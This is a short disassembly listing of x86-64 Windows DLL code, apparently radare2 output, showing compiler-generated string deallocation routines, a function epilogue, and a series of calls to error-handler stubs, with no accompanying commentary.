cmp rax, 0x1f
ja 0x18001cc43
call fcn.1800b98ec
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], send
mov byte [rbp - 0x60], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18001caee
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18001cae9
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001cc49
mov rcx, r8
call fcn.1800b98ec
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], send
mov byte [r14], 0
mov eax, 0xbbe
jmp 0x18001cbec
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x18001cb43
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001cb3e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001cc4f
call fcn.1800b98ec
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], send
mov byte [rbp - 0x60], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18001cb8d
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18001cb88
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001cc19
mov rcx, r8
call fcn.1800b98ec
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], send
mov byte [r14], 0
xor eax, eax
jmp 0x18001cbec
mov rdx, qword [rdx + 0x18]
cmp rdx, 0x10
jb 0x18001cbd7
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18001cbd2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001cc19
mov rcx, r8
call fcn.1800b98ec
mov eax, 0xbb8
mov byte [r14], 0
mov qword [r14 + 0x18], send
mov qword [r14 + 0x10], r13
lea r11, [rsp + 0x2c8]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.180001570
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800061b0
nop
call fcn.1800014a0
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800c5784
nop
call fcn.1800c5784
int3